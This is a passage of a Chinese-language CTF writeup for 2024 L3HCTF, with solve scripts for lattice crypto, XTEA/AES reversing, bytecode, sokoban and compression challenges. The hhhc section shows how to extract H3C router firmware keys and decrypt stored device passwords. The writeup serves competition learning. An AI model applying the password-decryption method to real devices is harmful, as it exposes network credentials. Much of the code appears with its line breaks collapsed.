1190084541*x^843 + 441686497*x^842 + 117953957*x^841 + 840802549*x^840 + 903238790*x^839 + 551715093*x^838 + 539420097*x^837 + 1007110444*x^836 + 673864283*x^835 + 756402005*x^834 + 197892310*x^833 + 981720851*x^832 + 798897509*x^831 + 1127242378*x^830 + 666754217*x^829 + 685248618*x^828 + 327773092*x^827 + 390697118*x^826 + 912223373*x^825 + 482947333*x^824 + 1110169857*x^823 + 780612147*x^822 + 194698743*x^821 + 716386043*x^820 + 424946693*x^819 + 22701975*x^818 + 293011366*x^817 + 947695756*x^816 + 1188483932*x^815 + 1002073886*x^814 + 1078210750*x^813 + 1127684166*x^812 + 719332394*x^811 + 1072532713*x^810 + 550629553*x^809 + 188195613*x^808 + 614412704*x^807 + 649960359*x^806 + 1010011298*x^805 + 824975518*x^804 + 311757403*x^803 + 93674481*x^802 + 380323800*x^801 + 1086623904*x^800 + 240170088*x^799 + 956396081*x^798 + 939969890*x^797 + 131843464*x^796 + 1045744996*x^795 + 424359277*x^794 + 550616456*x^793 + 1061637035*x^792 + 444548551*x^791 + 677546521*x^790 + 149605032*x^789 + 829567560*x^788 + 516053142*x^787 + 1191529914*x^786 + 294270928*x^785 + 142024389*x^784 + 584911191*x^783 + 307856659*x^782 + 81514660*x^781 + 543784156*x^780 + 108008163*x^779 + 13154295*x^778 + 155266054*x^777 + 663702892*x^776 + 782494602*x^775 + 747547833*x^774 + 242456376*x^773 + 669844220*x^772 + 552894098*x^771 + 1036366706*x^770 + 1074841665*x^769 + 720745418*x^768 + 1137936670*x^767 + 840875363*x^766 + 476498840*x^765 + 1088669461*x^764 + 1249649*x^763 + 882277578*x^762 + 37842126*x^761 + 398977801*x^760 + 328296234*x^759 + 536342859*x^758 + 608139240*x^757 + 897424944*x^756 + 76562916*x^755 + 428081420*x^754 + 627420927*x^753 + 265131678*x^752 + 1034443577*x^751 + 177902661*x^750 + 490977141*x^749 + 1084536775*x^748 + 1189221123*x^747 + 854191429*x^746 + 952038058*x^745 + 891288300*x^744 + 929356576*x^743 + 223874272*x^742 + 220297702*x^741 + 1099283305*x^740 + 1008574448*x^739 + 619949004*x^738 + 747199791*x^737 + 760703880*x^736 + 7682727*x^735 + 88566484*x^734 + 733742620*x^733 + 381443925*x^732 + 799269923*x^731 + 233342676*x^730 + 1205696983*x^729 + 765306727*x^728 + 29342855*x^727 + 287728251*x^726 + 214358216*x^725 + 355991367*x^724 + 344973841*x^723 + 436344093*x^722 + 547944829*x^721 + 1041405031*x^720 + 368771692*x^719 + 37426577*x^718 + 502936636*x^717 + 732825913*x^716 + 518778589*x^715 + 561797784*x^714 + 773068766*x^713 + 75615306*x^712 + 668933267*x^711 + 628975723*x^710 + 1140697439*x^709 + 108807342*x^708 + 283945737*x^707 + 701674528*x^706 + 1120373548*x^705 + 421627231*x^704 + 260846853*x^703 + 292537012*x^702 + 583513440*x^701 + 609720259*x^700 + 831373721*x^699 + 1126099385*x^698 + 431095431*x^697 + 296863241*x^696 + 371013827*x^695 + 549980853*x^694 + 550174635*x^693 + 620963563*x^692 + 952040422*x^691 + 1150044500*x^690 + 893175261*x^689 + 1139857784*x^688 + 972717568*x^687 + 735672517*x^686 + 1177501026*x^685 + 765934764*x^684 + 710762091*x^683 + 871268519*x^682 + 969318271*x^681 + 286261161*x^680 + 65128931*x^679 + 1100922672*x^678 + 47619662*x^677 + 981578224*x^676 + 67232154*x^675 + 1928142*x^674 + 817643007*x^673 + 675713298*x^672 + 185236805*x^671 + 331446457*x^670 + 129023118*x^669 + 431426370*x^668 + 1154277684*x^667 + 723182950*x^666 + 1144823093*x^665 + 822001162*x^664 + 356099532*x^663 + 705989193*x^662 + 878712048*x^661 + 1095044481*x^660 + 332193401*x^659 + 613329359*x^658 + 673744151*x^657 + 808080280*x^656 + 225562949*x^655 + 185686220*x^654 + 742469973*x^653 + 986152315*x^652 + 13611550*x^651 + 535747170*x^650 + 233786507*x^649 + 27955348*x^648 + 1004446959*x^647 + 1071164149*x^646 + 265258708*x^645 + 63221383*x^644 + 682228580*x^643 + 867131152*x^642 + 997600620*x^641 + 993922001*x^640 + 693252545*x^639 + 865655581*x^638 + 518295141*x^637 + 902072633*x^636 + 704953646*x^635 + 587251157*x^634 + 99168972*x^633 + 1105480730*x^632 + 1040404159*x^631 + 436113220*x^630 + 152714904*x^629 + 697469981*x^628 + 1185372838*x^627 + 216027999*x^626 + 616083931*x^625 + 399419685*x^624 + 23193568*x^623 + 1174129641*x^622 + 75724376*x^621 + 570399858*x^620 + 754947446*x^619 + 1037864447*x^618 + 794730343*x^617 + 60369472*x^616 + 750769016*x^615 + 61444481*x^614 + 333194445*x^613 + 1109236037*x^612 + 513379869*x^611 + 706807998*x^610 + 999669914*x^609 + 1198194959*x^608 + 336044172*x^607 + 402719207*x^606 + 1050007981*x^605 + 429464593*x^604 + 679293134*x^603 + 734513317*x^602 + 838385265*x^601 + 990800608*x^600 + 1162093896*x^599 + 173467508*x^598 + 123947890*x^597 + 325712596*x^596 + 1049522320*x^595 + 1072653958*x^594 + 565759817*x^593 + 549918485*x^592 + 574268523*x^591 + 1052593520*x^590 + 474323970*x^589 + 262787725*x^588 + 1091470590*x^587 + 782664905*x^586 + 1201833996*x^585 + 808712564*x^584 + 619522329*x^583 + 233329446*x^582 + 730502283*x^581 + 1017501853*x^580 + 306080194*x^579 + 283641594*x^578 + 195324593*x^577 + 1116741123*x^576 + 289439631*x^575 + 206064600*x^574 + 280021778*x^573 + 425409216*x^572 + 1107952582*x^571 + 131800177*x^570 + 106903346*x^569 + 72306234*x^568 + 934072451*x^567 + 242740893*x^566 + 106611451*x^565 + 429378634*x^564 + 127624569*x^563 + 587315789*x^562 + 932709753*x^561 + 523886142*x^560 + 110330665*x^559 + 963244036*x^558 + 227339325*x^557 + 185882207*x^556 + 987833442*x^555 + 981380006*x^554 + 1140813804*x^553 + 538704418*x^552 + 842520362*x^551 + 597627400*x^550 + 165232274*x^549 + 900076209*x^548 + 311342603*x^547 + 477271753*x^546 + 1072907066*x^545 + 1066126181*x^544 + 791702251*x^543 + 623246063*x^542 + 1082681410*x^541 + 759396967*x^540 + 878108937*x^539 + 724607060*x^538 + 79223685*x^537 + 307312027*x^536 + 234246571*x^535 + 330319932*x^534 + 274254378*x^533 + 1082820468*x^532 + 68920838*x^531 + 1195376541*x^530 + 170971307*x^529 + 399525324*x^528 + 238798853*x^527 + 664426862*x^526 + 269949285*x^525 + 698202786*x^524 + 88964561*x^523 + 635539315*x^522 + 1016514687*x^521 + 122364467*x^520 + 1095096646*x^519 + 513834099*x^518 + 672478524*x^517 + 47526709*x^516 + 48782616*x^515 + 166225959*x^514 + 810099682*x^513 + 168540411*x^512 + 30055377*x^511 + 817325819*x^510 + 202717189*x^509 + 739906349*x^508 + 186072589*x^507 + 451966755*x^506 + 684027658*x^505 + 251331059*x^504 + 591972494*x^503 + 289197098*x^502 + 829928406*x^501 + 160528626*x^500 + 90951219*x^499 + 496118642*x^498 + 117818178*x^497 + 215417436*x^496 + 937904122*x^495 + 962080493*x^494 + 423647737*x^493 + 1094089608*x^492 + 97559711*x^491 + 412409151*x^490 + 1039695658*x^489 + 461079746*x^488 + 564664118*x^487 + 2231630*x^486 + 667569567*x^485 + 471400483*x^484 + 691739455*x^483 + 146641223*x^482 + 445509678*x^481 + 788647561*x^480 + 100316571*x^479 + 927803124*x^478 + 225739054*x^477 + 339283562*x^476 + 741552554*x^475 + 674303545*x^474 + 610706793*x^473 + 1045437706*x^472 + 758427998*x^471 + 518677374*x^470 + 1020530386*x^469 + 81672436*x^468 + 684553666*x^467 + 36416557*x^466 + 1083076029*x^465 + 63903696*x^464 + 655765095*x^463 + 464055997*x^462 + 874368360*x^461 + 909538282*x^460 + 1084815716*x^459 + 971305398*x^458 + 504958756*x^457 + 941782746*x^456 + 410981017*x^455 + 44463213*x^454 + 57796260*x^453 + 633624768*x^452 + 902476625*x^451 + 1190884714*x^450 + 30960289*x^449 + 698111360*x^448 + 507015564*x^447 + 595305556*x^446 + 1170147546*x^445 + 595449153*x^444 + 1132050715*x^443 + 566093951*x^442 + 1125890381*x^441 + 864044563*x^440 + 608408253*x^439 + 128031905*x^438 + 951152598*x^437 + 41054884*x^436 + 1012755213*x^435 + 1091670374*x^434 + 481898210*x^433 + 1007980179*x^432 + 43301236*x^431 + 6478999*x^430 + 1175215424*x^429 + 597862715*x^428 + 441537430*x^427 + 339705054*x^426 + 289227345*x^425 + 795113772*x^424 + 404870950*x^423 + 997272819*x^422 + 634256255*x^421 + 453060086*x^420 + 821493547*x^419 + 842289852*x^418 + 223251279*x^417 + 929721613*x^416 + 63980045*x^415 + 298369623*x^414 + 1026287144*x^413 + 979092254*x^412 + 1182904024*x^411 + 298048453*x^410 + 653297794*x^409 + 365769179*x^408 + 45373617*x^407 + 7228243*x^406 + 1086374067*x^405 + 389455721*x^404 + 992518297*x^403 + 433929335*x^402 + 1149626197*x^401 + 90006250*x^400 + 1011632630*x^399 + 940906615*x^398 + 564772117*x^397 + 692974220*x^396 + 561321375*x^395 + 1095715303*x^394 + 1006114558*x^393 + 95516055*x^392 + 640816811*x^391 + 869737844*x^390 + 248741996*x^389 + 101754352*x^388 + 253268107*x^387 + 593472036*x^386 + 627778298*x^385 + 801877646*x^384 + 286581226*x^383 + 645931883*x^382 + 373119745*x^381 + 461109006*x^380 + 594214135*x^379 + 751634451*x^378 + 706229440*x^377 + 247985412*x^376 + 993987710*x^375 + 618989435*x^374 + 600506682*x^373 + 179955505*x^372 + 956234357*x^371 + 1049030902*x^370 + 727597507*x^369 + 1196607714*x^368 + 610634244*x^367 + 619865634*x^366 + 849131167*x^365 + 1094185730*x^364 + 685353152*x^363 + 299082549*x^362 + 1076769237*x^361 + 792938001*x^360 + 885082721*x^359 + 1198739364*x^358 + 273154602*x^357 + 597517874*x^356 + 351418158*x^355 + 621945565*x^354 + 949756104*x^353 + 1020290901*x^352 + 315372660*x^351 + 291246927*x^350 + 1016861207*x^349 + 171467993*x^348 + 1074074496*x^347 + 660775696*x^346 + 562891589*x^345 + 258618000*x^344 + 521058831*x^343 + 152819838*x^342 + 1141330990*x^341 + 383408903*x^340 + 677850803*x^339 + 165908062*x^338 + 66975904*x^337 + 510786934*x^336 + 32306220*x^335 + 708115806*x^334 + 474352780*x^333 + 963188335*x^332 + 151844162*x^331 + 907339624*x^330 + 456166118*x^329 + 111742252*x^328 + 318018829*x^327 + 624012970*x^326 + 255354390*x^325 + 1218329311*x^324 + 375000855*x^323 + 54956044*x^322 + 13543809*x^321 + 671163260*x^320 + 226676913*x^319 + 1193470867*x^318 + 477161216*x^317 + 519506783*x^316 + 748987057*x^315 + 768531367*x^314 + 327816599*x^313 + 59056092*x^312 + 520958252*x^311 + 243337260*x^310 + 608632530*x^309 + 65258636*x^308 + 1012579720*x^307 + 400176357*x^306 + 104583966*x^305 + 1114827176*x^304 + 70705682*x^303 + 5320656*x^302 + 1207465008*x^301 + 1211372826*x^300 + 886104873*x^299 + 747144635*x^298 + 227753814*x^297 + 427912588*x^296 + 425232985*x^295 + 135219277*x^294 + 541439233*x^293 + 82586191*x^292 + 1024575564*x^291 + 408418547*x^290 + 1076407665*x^289 + 184646604*x^288 + 894569780*x^287 + 730742386*x^286 + 473643018*x^285 + 561906151*x^284 + 582231889*x^283 + 928617667*x^282 + 460594931*x^281 + 946340582*x^280 + 881007408*x^279 + 655553538*x^278 + 107738502*x^277 + 958107338*x^276 + 874269820*x^275 + 689734430*x^274 + 1025286771*x^273 + 809509338*x^272 + 126580761*x^271 + 425724981*x^270 + 91398446*x^269 + 915486182*x^268 + 750598785*x^267 + 331692120*x^266 + 266239686*x^265 + 41813860*x^264 + 1003196915*x^263 + 1006275694*x^262 + 958171508*x^261 + 387655573*x^260 + 529686749*x^259 + 2533683*x^258 + 851532040*x^257 + 515865631*x^256 + 331149910*x^255 + 1058283457*x^254 + 478391568*x^253 + 1020601120*x^252 + 193954604*x^251 + 125558467*x^250 + 916367669*x^249 + 965664721*x^248 + 737411958*x^247 + 145954639*x^246 + 787702411*x^245 + 256023548*x^244 + 831752864*x^243 + 637799028*x^242 + 202325459*x^241 + 189858829*x^240 + 221236168*x^239 + 276967229*x^238 + 732958371*x^237 + 31622618*x^236 + 558911372*x^235 + 257580689*x^234 + 490167674*x^233 + 1164269554*x^232 + 765931664*x^231 + 89716985*x^230 + 639008878*x^229 + 716033538*x^228 + 186948569*x^227 + 870251868*x^226 + 383121640*x^225 + 604362204*x^224 + 405526662*x^223 + 127371887*x^222 + 543669202*x^221 + 823112915*x^220 + 523517382*x^219 + 791437322*x^218 + 1069279817*x^217 + 960628355*x^216 + 1012582276*x^215 + 1200088601*x^214 + 927011022*x^213 + 830570829*x^212 + 700668365*x^211 + 1205573850*x^210 + 276778781*x^209 + 786305215*x^208 + 928215922*x^207 + 154393796*x^206 + 169298902*x^205 + 177646296*x^204 + 173339370*x^203 + 287217637*x^202 + 1077403939*x^201 + 1004965535*x^200 + 677352462*x^199 + 545192340*x^198 + 464170452*x^197 + 381853900*x^196 + 205643848*x^195 + 973330672*x^194 + 1148733662*x^193 + 458436519*x^192 + 68604889*x^191 + 193530886*x^190 + 141661386*x^189 + 1117183144*x^188 + 153035244*x^187 + 830892599*x^186 + 795500906*x^185 + 67041425*x^184 + 617209634*x^183 + 180547177*x^182 + 1183445159*x^181 + 303603618*x^180 + 842724764*x^179 + 784982658*x^178 + 1199356684*x^177 + 321497016*x^176 + 513738925*x^175 + 465949450*x^174 + 981246204*x^173 + 814398377*x^172 + 950247970*x^171 + 720838080*x^170 + 399493165*x^169 + 735365971*x^168 + 109745845*x^167 + 897998838*x^166 + 547497972*x^165 + 174675208*x^164 + 716115074*x^163 + 237209800*x^162 + 186394653*x^161 + 876995839*x^160 + 1187252196*x^159 + 819282320*x^158 + 44596523*x^157 + 679033559*x^156 + 736746236*x^155 + 1184916922*x^154 + 451294643*x^153 + 443590366*x^152 + 304384335*x^151 + 1064695584*x^150 + 602535518*x^149 + 684486124*x^148 + 863476315*x^147 + 496170722*x^146 + 737062216*x^145 + 285799611*x^144 + 1085153158*x^143 + 247783563*x^142 + 1208043659*x^141 + 208776666*x^140 + 117730360*x^139 + 279620264*x^138 + 273045622*x^137 + 893971194*x^136 + 240743423*x^135 + 1143029271*x^134 + 326725356*x^133 + 294174585*x^132 + 672819095*x^131 + 138843366*x^130 + 1176670148*x^129 + 573825049*x^128 + 835249905*x^127 + 778468469*x^126 + 300257393*x^125 + 409352854*x^124 + 953527813*x^123 + 653640743*x^122 + 1210615840*x^121 + 596684403*x^120 + 46012813*x^119 + 510765516*x^118 + 1213476223*x^117 + 1132779740*x^116 + 769195645*x^115 + 963749389*x^114 + 843804183*x^113 + 109759209*x^112 + 493130294*x^111 + 1122857844*x^110 + 1130618881*x^109 + 648465049*x^108 + 364595574*x^107 + 410134064*x^106 + 597836905*x^105 + 831243271*x^104 + 226275998*x^103 + 686704033*x^102 + 662011231*x^101 + 112226051*x^100 + 623946037*x^99 + 469742204*x^98 + 369854172*x^97 + 731154062*x^96 + 352916654*x^95 + 45991298*x^94 + 614913911*x^93 + 632337602*x^92 + 327529986*x^91 + 111251878*x^90 + 657089210*x^89 + 499853920*x^88 + 966818975*x^87 + 454584975*x^86 + 116582431*x^85 + 619242494*x^84 + 455382561*x^83 + 246350547*x^82 + 495191129*x^81 + 900852972*x^80 + 264825752*x^79 + 426813960*x^78 + 478124215*x^77 + 1080567657*x^76 + 858353771*x^75 + 215115660*x^74 + 963682245*x^73 + 964445096*x^72 + 73603206*x^71 + 734630202*x^70 + 199652522*x^69 + 520021635*x^68 + 763256200*x^67 + 861482624*x^66 + 890485659*x^65 + 523362913*x^64 + 785087110*x^63 + 381314881*x^62 + 843850504*x^61 + 61951613*x^60 + 119100925*x^59 + 531827488*x^58 + 199818669*x^57 + 592207491*x^56 + 354682041*x^55 + 1015447358*x^54 + 328324806*x^53 + 24880841*x^52 + 516663598*x^51 + 716706066*x^50 + 1042483154*x^49 + 331433641*x^48 + 929901382*x^47 + 502140671*x^46 + 48123362*x^45 + 1112586174*x^44 + 14618102*x^43 + 764832169*x^42 + 446768463*x^41 + 920421919*x^40 + 491851586*x^39 + 24718814*x^38 + 83091454*x^37 + 155770396*x^36 + 12824441*x^35 + 954371888*x^34 + 318592841*x^33 + 788251579*x^32 + 246435934*x^31 + 387083299*x^30 + 395226231*x^29 + 646811732*x^28 + 1131418388*x^27 + 1135116504*x^26 + 986902782*x^25 + 323457413*x^24 + 521885110*x^23 + 234655676*x^22 + 965166497*x^21 + 755967054*x^20 + 574743395*x^19 + 1175664410*x^18 + 117322371*x^17 + 794664856*x^16 + 570463*x^15 + 1148572518*x^14 + 439320220*x^13 + 815953366*x^12 + 389050726*x^11 + 1167287391*x^10 + 397052468*x^9 + 275572458*x^8 + 548665509*x^7 + 1202175986*x^6 + 518662014*x^5 + 1084425257*x^4 + 7854568*x^3 + 274607457*x^2 + 162444786*x + 410560230
bxx=list(s)print(bxx,len(bxx))sxx=list(b)print(sxx,len(sxx))
M=Matrix(ZZ,130,130)for i in range(65): M[0,i]=int(bxx[1023-i]) for j in range(64): M[j+1,i]=int(sxx[1023-i-j]) M[i+65,i]=q M[i,i+65]=1
M[0,65]=2^8for i in range(1): print(i,M[i])
print("******************LLL BEGIN********************")res=M.LLL()print(res[0])flag=""for i in range(64): if abs(Integer(res[0][66+i]))>256: break flag+=chr(Integer(res[0][66+i]))print(flag)#Y0u_R@411Y_Kn0w_CyclOtom1c_Poly!AK@Co!<J>^5#DQ}oDo=o(j7$%<1T8h1r#

babySPN

通过题目可知:

assert flag[7:-1] == hash_value

其中K已知,可以得到hash_value,得到flag

from hashlib import *
from Crypto.Util.number import *


def bin_to_list(r, bit_len):
list = [r >> d & 1 for d in range(bit_len)][::-1]
return list


def list_to_int(list):
return int("".join(str(i) for i in list), 2)


K = [0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0]


hash_value = sha256(long_to_bytes(list_to_int(K))).hexdigest()
print("L3HCTF{"+hash_value+"}")


#L3HCTF{6abd8c217785dc1a7074a1bdc624bd41c6307100cf5e01ee6c58708e0eeb4ce8}

REVERSE

babycom

dll里是一个展开的XTEA和一个AES

2024 L3HCTF writeup by Arr3stY0u

2024 L3HCTF writeup by Arr3stY0u

调试取出XTEA密钥并patch程序为call CryptDecrypt来解密AES

2024 L3HCTF writeup by Arr3stY0u

最后解密XTEA即可

#include <stdio.h>#include <stdint.h>
//加密函数void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]){ unsigned int i; uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x114514; for (i = 0; i < num_rounds; i++) { v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); } v[0] = v0; v[1] = v1;}
//解密函数void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]){ unsigned int i; uint32_t v0 = v[0], v1 = v[1], delta = 0x114514, sum = delta * num_rounds; for (i = 0; i < num_rounds; i++) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0] = v0; v[1] = v1;}
//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t *v, int n, bool hex_or_chr){ if (hex_or_chr) { for (int i = 0; i < n; i++) { for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++) { printf("%02x,", (v[i] >> (j * 8)) & 0xFF); } } } else { for (int i = 0; i < n; i++) { for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++) { printf("%c", (v[i] >> (j * 8)) & 0xFF); } } } printf("n"); return;}
int main(){ // v为要加解密的数据 uint32_t v[] = {0x74c1b42a, 0x5aa59d6, 0x9c7f1073, 0x62994940, 0x8f51843c, 0xf1ab373f, 0x9661fe0e, 0x6a41ad45}; // k为加解密密钥,4个32位无符号整数,密钥长度为128位 uint32_t k[4] = {0x1cd43eea, 0x47d7cb70, 0xdbca5e98, 0x2b390c53}; // num_rounds,建议取值为32 unsigned int r = 32;
int n = sizeof(v) / sizeof(uint32_t); /* printf("加密前明文数据:"); dump_data(v, n, 1);
for (int i = 0; i < n / 2; i++) { encrypt(r, &v[i * 2], k); } */ printf("加密后密文数据:"); dump_data(v, n, 1);
for (int i = 0; i < n / 2; i++) { decrypt(r, &v[i * 2], k); }
printf("解密后明文数据:"); dump_data(v, n, 1);
printf("解密后明文字符:"); dump_data(v, n, 0);
return 0;}// L3HCTF{C0M_Th3C0d3_1s_FuN!!!!!!}

box

libtermux-bootstrap.so提取压缩包

2024 L3HCTF writeup by Arr3stY0u

2024 L3HCTF writeup by Arr3stY0u

sokoban是验证推箱子游戏的逻辑,本身包含一个地图

2024 L3HCTF writeup by Arr3stY0u

跑完sokoban自身包含的地图后,busybox重置了地图并开始第二轮推箱子验证

2024 L3HCTF writeup by Arr3stY0u

推箱子求解器,https://github.com/KnightofLuna/sokoban-solver

两段路径要合起来输入,md5验证通过

调试得到flag,L3HCTF{a5120816c23ee51dde505b016d6bb5ab}

2024 L3HCTF writeup by Arr3stY0u

DAG

python字节码,先问gpt,再手动调整

str1~str8直接爆,算出num1

num2和num3正则找出参数列表也能直接算

import randomimport re

def func1(lss, i, j): # 初始条件判断,涉及数组元素比较 if arr[i * len(lss) + j] != -1: return arr[i * len(lss) + j]
# 创建列表,并进行某些操作,似乎是在处理s1和s2两个子列表 s1 = list(lss[i]) s2 = list(lss[j]) l1 = len(s1) l2 = len(s2)
flag = True n = 0
# 比较l1和l2的长度差是否为1 if l1 - l2 == 1: for m in range(l1): if s1[m] != s2[n]: if flag: flag = False else: # 对arr进行某种更新,但具体逻辑需要根据上下文确定 arr[i * len(lss) + j] = 0 return 0 else: n += 1 if n == l2: break else: # 另一种情况下对arr的更新 arr[i * len(lss) + j] = 0 return 0
# 根据某种条件更新arr arr[i * len(lss) + j] = 1 return 1

def abc(lss, i): if abcarray[i] > 0: return abcarray[i]
m = 1 # 初始化m for index, word in enumerate(lss): if func1(lss, i, index) == 1: # 调用func1并检查返回值 # 使用max函数更新m的值,这里假设abc函数或变量提供了某种逻辑 m = max(m, abc(lss, index) + 1)
abcarray[i] = m # 更新abcarray在i索引处的值 return m

def solution(lss): global abcarray, arr abcarray = [-1] * len(lss) # 初始化 abcarray 为 -1 的列表,长度与 lss 相同 arr = [-1] * (len(lss) ** 2) # 初始化 arr 为 -1 的列表,长度为 lss 的平方
ans = 1 # 初始化 ans 为 1
for i in range(len(lss)): # 遍历 lss abc_ans = abc(lss, i) #print(abc_ans, lss[i]) ans = max(ans, abc_ans) # 更新 ans 的值,假设 abc 是一个在外部定义的函数
return ans

def func2(n): a, b = 1, 1 # 初始化a和b for i in range(n-1): # 遍历n-1次 a, b = b, a + b # 更新a和b的值 return a # 返回a的值

def calc(nums): num1, num2, num3 = nums[0], nums[1], nums[2]
# 对num1进行特定的数学和位运算 num1 = 2023 + (num1 & 15) - (num1 & 240)
# 更新num2的值 num2 = func2(num2 + 7)
# 使用num3作为随机数生成的种子 random.seed(num3)
# 构建flag字符串 flag = f"{num1}{num2}{num3}{random.gauss(num2, 0.2)}".replace('.', 'x')
# 打印并返回flag print(f"flag={flag}") return flag

def encode(s): ret = [] # 初始化结果列表 ls = list(s) # 将输入字符串转换为字符列表
# 遍历字符列表,步长为2 for i in range(0, len(ls), 2): num1 = ord(ls[i]) # 获取第一个字符的ASCII值 num2 = ord(ls[i + 1]) # 获取第二个字符的ASCII值
# 位运算处理 numa = (num1 & 248) >> 3 # 获取num1的高位部分 numb = ((num1 & 7) << 3) | ((num2 & 240) >> 4) # 合并num1的低位和num2的高位 numc = num2 & 15 # 获取num2的低位部分
# 将处理结果添加到ret列表中 ret += [numa, numb, numc]
return ret

if __name__ == '__main__':
str1, str2, str3, str4 = "ba", "ab", "bc", "cb" str5, str6, str7, str8 = "bdca", "bacd", "bbbb", "acdb" num1 = solution(['a', str1, str2, str3, str4, 'bda', str5, str6, str7, str8, 'bcdef', 'aabcc', 'acbac', 'bdcaa', 'bbbbcc', 'babccc', 'abaccc'])
with open("bytecode.txt", "r") as f: data = f.readlines()[180:] pat = re.compile(r".*?LOAD_CONST.*?((.*?))") args = [] for line in data: se = re.search(pat, line) if se != None: args.append(se.group(1)) if "CALL_FUNCTION" in line: break num2 = solution(args)
with open("bytecode.txt", "r") as f: data = f.readlines()[1950:] pat = re.compile(r".*?LOAD_CONST.*?((.*?))") args = [] for line in data: se = re.search(pat, line) if se != None: args.append(se.group(1)) if "CALL_FUNCTION" in line: break num3 = solution(args)
calc([num1, num2, num3])
# flag=202817711117711x25763695063

ez_rust

参考

https://blog.yllhwa.com/2023/05/09/Tauri%20%E6%A1%86%E6%9E%B6%E7%9A%84%E9%9D%99%E6%80%81%E8%B5%84%E6%BA%90%E6%8F%90%E5%8F%96%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6/

取出/assets/index-tWBcqYh-.js

2024 L3HCTF writeup by Arr3stY0u

循环异或和base64,直接解密即可

import base64
key = "secret"
enc = "JFYvMVU5QDoNQjomJlBULSQaCihTAFY="
enc_de = list(base64.b64decode(enc))
for i in range(len(enc_de)): enc_de[i] ^= ord(key[i % len(key)])
print(bytes(enc_de))# W3LC0M3_n0_RU57_AnyM0r3

hhhc

version 7.1.064, Release 0821P16

根据cfg里的信息找到其中一个路由的固件。

MER8300-CMW710-R0821P16.ipe

之后在git上找到一份ipe的解包脚本:

https://github.com/zzxzhuo/H3C-IPE-Unarchiver/blob/master/unarchive_ipe.py

2024 L3HCTF writeup by Arr3stY0u

不过这脚本只是拆解出分区数据,还得继续解。

2024 L3HCTF writeup by Arr3stY0u

也是类似的结构,文件名和文件大小,提取并解压后成功提取到文件。

在题目提供的cfg文件中找到加密后的密码。

 ppp chap password cipher $c$3$TKYJXT4RmMIvPHQX+5Ehf9oD3kjskIur3PGJfR/7fEyqfbx0K0DAokR0pd3rsRbWR5t9Cr3xSbYoPdogCg== ppp chap user hustpppoe114514 ppp pap local-user hustpppoe114514 password cipher $c$3$3PbDU2m2/6Neiiz9iO+i641UKjafFMvrfphBc3fmrZ+9Q2TZu3g5l2Hlg1gJWO6ZQLJ4S+r85qU8EQpqQQ==

密文最后采用base64编码了,通过搜索base64编码表,最终猜测加密函数在libencrypt.so,从so文件名上也能看出来。

2024 L3HCTF writeup by Arr3stY0u

2024 L3HCTF writeup by Arr3stY0u

TKYJXT4RmMIvPHQX+5Ehf9oD3kjskIur3PGJfR/7fEyqfbx0K0DAokR0pd3rsRbWR5t9Cr3xSbYoPdogCg==解码IV: 4C A6 09 5D 3E 11 98 C2 2F 3C 74 17 FB 91 21 7FCT:DA 03 DE 48 EC 90 8B AB DC F1 89 7D 1F FB 7C 4CAA 7D BC 74 2B 40 C0 A2 44 74 A5 DD EB B1 16 D647 9B 7D 0A BD F1 49 B6 28 3D DA 20 0A 02 9A 6901 C8 5A A4 0B AC 7A B0 21 BA CB 69 A6 9A 1E D75E 39 D7

到这里可以看出前0x10字节是IV,并且是取的随机数。

key通过KEY_GetKey(4, 0x20)获取。

2024 L3HCTF writeup by Arr3stY0u

解析key-data。

2024 L3HCTF writeup by Arr3stY0u

从0x102偏移处开始提取多组密钥数据。

第四组密钥数据

ID: 00 03, SIZE: 00 34 IV:9B 33 AE DE 8E 29 B2 2A 9E D1 8C 1D CD A7 32 58CT:DF BF 4E 75 AD D5 29 2B 54 78 BE 47 89 04 14 8A 34 7B F4 FD EC FC 7A EE 87 AF 83 C6 2E 3B 0B 26 42 2F 13 48 07 0B 44 65 AD A8 CA 0F F4 8D 96 10 84 68 7B 6A

密钥数据也是采用AES-CTR保护。

2024 L3HCTF writeup by Arr3stY0u

2024 L3HCTF writeup by Arr3stY0u

key-data [2:0x102] 传入KEY_GetKeyDbEncrKey。

2024 L3HCTF writeup by Arr3stY0u

这里有坑,分段和换顺序update。

from hashlib import sha512

unk = open('./key-data', 'rb').read()[2:0x102]a = sha512()a.update(unk[0x40:0x80])a.update(unk[0x0:0x40])a.update(unk[0x80:])print(a.digest()[:0x20].hex())# 'ecc679703bb2daf7c09a941cb992dcdd03150e0f67ed9b32a548d8624add9c07'

将算出来的哈希值填入aes-ctr key。

2024 L3HCTF writeup by Arr3stY0u

解出

iv_size: 0010, key_size: 0020IV: c695c466f32e90d0fb12ed31c5c72265 没使用KEY: a2e6658865746b4b954f0bd37fd1ece03b1acb47fbc543ec32d35987b20b6866

将得到的key和之前base64解码得到的iv和密文代入解密出flag。

2024 L3HCTF writeup by Arr3stY0u

应该有更简单的做法。qemu运行直接调用PASSWORD_decrypt。

dictionary compression

看了一眼题目只处理abc字符,而且题目也打印了压缩后的bit数据,直接爆。

import subprocessfrom itertools import productimport time
def test(flag): open('./flag.txt', 'wb').write(flag.encode()) res = subprocess.check_output('./main.exe') return res.decode().split('n')[-3]
output = open('./output_orig', 'rb').read()
bits = output[0]s = ''for i in range(1, len(output)-1): s += bin(output[i])[2:].zfill(8)s += bin(output[-1])[2:]
correct = s
def dfs(fullpath=''): for ch in 'abc': comp_bits = test(fullpath+ch) if correct[:-5].startswith(comp_bits[:-5]): dfs(fullpath+ch) if correct == comp_bits: print(fullpath+ch)

dfs()# bbccaacbcacbacbaaabcacbaaabcccaaaabbaaabprint('jieshula!')

ez_stack

直接在ida里下条件断点抓数据,分析算法。

opcode

